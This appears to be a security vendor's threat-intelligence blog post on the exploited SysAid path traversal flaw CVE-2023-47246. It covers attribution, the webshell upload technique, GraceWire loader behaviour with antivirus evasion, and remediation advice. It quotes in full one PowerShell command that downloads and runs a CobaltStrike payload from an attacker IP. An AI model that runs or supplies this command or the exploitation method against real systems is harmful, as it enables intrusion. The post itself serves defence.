On November 8 2023, SysAid published an advisory for CVE-2023-47246 regarding a critical zero-day vulnerability on their SysAid On-Premise software. SysAid describes the vulnerability as a path traversal vulnerability leading to code execution for the same software. This blog includes immediate recommendations for SysAid On-Premise software customers, best practices for long-term protection against these kinds of vulnerabilities, and a brief analysis of the attack chain.

Recommendations

SysAid recommends customers using On-Premise software to do both of the following:

Upgrade to version 23.3.6
Perform a full system and network assessment to detect potential compromise

If any indicators of compromise (IoCs) are found, Zscaler recommends SysAid On-Premise customers follow the incident response protocol and take immediate action. In addition, Zscaler strongly recommends upgrading to the latest versions. More information on the upgrade is available here and here.

Attribution

Lace Tempest (DEV-0950 / TA-505) are the threat actors believed to be responsible for exploiting this vulnerability. This same group is responsible for exploiting the MoveIT Transfer vulnerability earlier this year, and is associated with a ransomware group known as "CL0P".

Attack Chain

Figure 1: An attack chain depicting a threat actors exploiting the CVE-2023-47246 vulnerability to infiltrate the SysAid system

_{Figure 1: An attack chain depicting a threat actors exploiting the CVE-2023-47246 vulnerability to infiltrate the SysAid system}

Possible Execution

How it works

The threat actors successfully uploaded a WAR archive that housed a WebShell and various payloads into the webroot of the SysAid Tomcat web service by exploiting the SysAid CVE-2023-47246 Path Traversal vulnerability. The vulnerability is located in the doPost method of the SysAid com.ilient.server.UserEntry class. Exploiting this vulnerability involves manipulating the accountID parameter to introduce a path traversal, allowing the attacker to determine the location on the vulnerable server where the WebShell is written. The attack is executed by delivering a POST request with a zipped, compressed WAR file containing the WebShell as the request body. Subsequently, the threat actor gains access to the WebShell, enabling them to interact with the compromised system.

PowerShell used to execute GraceWire

The threat actor leveraged unauthorized access to deploy a PowerShell script to execute the GraceWire loader on the victim’s machine.

The PowerShell script (pictured below) enumerates all the files listed in the C:\Program Files\SysAidServer\tomcat\webapps\usersfiles directory and then checks for antivirus or anti-malware processes beginning with “Sophos”. If the script detects adversarial software running on the victim’s system, then it exits to avoid detection.

If the script doesn’t detect antivirus or anti-malware software, then it executes the GraceWire loader (user.exe) on the victim’s machine.

Figure 2: The PowerShell script used to launch the GraceWire loader (user.exe)

_{Figure 2: The PowerShell script used to launch the GraceWire loader (user.exe)}

GraceWire Loader Analysis

The GraceWire loader follows a sequence of steps. First, it checks for the existence of a file named <filename>.bin, which contains an encrypted payload. If this file is present in the current directory, the loader proceeds to read its contents using the ReadFile() function, storing the data in the allocated memory. Subsequently, it decrypts the encrypted information and calculates checksums. If the checksum is verified as correct, the program executes the decrypted bin payload. This payload is designed to deploy the GraceWire trojan. Additionally, the loader injects the GraceWire Trojan into various processes, including:

spoolsv.exe
msiexec.exe
svchost.exe

When examining the code, we also discovered debug print statements showcasing the control flow of the GraceWire loader.

Figure 3: A screenshot of debug print statements showcasing the control flow of the GraceWire loader

_{Figure 3: A screenshot of debug print statements showcasing the control flow of the GraceWire loader}

Getting rid of evidence

Threat actors employ another PowerShell script to systematically eliminate traces and evidence linked to their malicious activities once they have infiltrated the victim’s system. This post-exploitation tactic is aimed at erasing digital footprints and minimizing the likelihood of detection by removing indicators of compromise (IoCs).

Possible other exploits

Microsoft posted a tweet highlighting the exploitation of this vulnerability in CL0P ransomware and strongly recommends system updates.
In addition, SysAid found supporting evidence indicating the utilization of the following PowerShell command to download and execute CobaltStrike.

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http[:]//179[.]60[.]150[.]34:80/a')

Best Practices

Safeguard crown jewel applications by limiting lateral movement using Zscaler Private Access, especially with application security modules turned on.
Route all server traffic through Zscaler Private Access with additional application security module enabled and Zscaler Internet Access, which will provide the right visibility to identify and stop malicious activity from compromised systems/servers.
Turn on Zscaler Advanced Threat Protection to block all known command-and-control domains. This will provide additional protection in case the adversary exploits this vulnerability to implant malware.
Extend command-and-control protection to all ports and protocols with the Zscaler Cloud Firewall (Cloud IPS module), including emerging C2 destinations. Again, this will provide additional protection in case if the adversary exploits this vulnerability to implant malware.
Use Zscaler Cloud Sandbox to prevent unknown malware delivered as part of a second stage payload.
Ensure you are inspecting all SSL traffic.
Restrict traffic to the critical infrastructure from the allowed list of known-good destinations.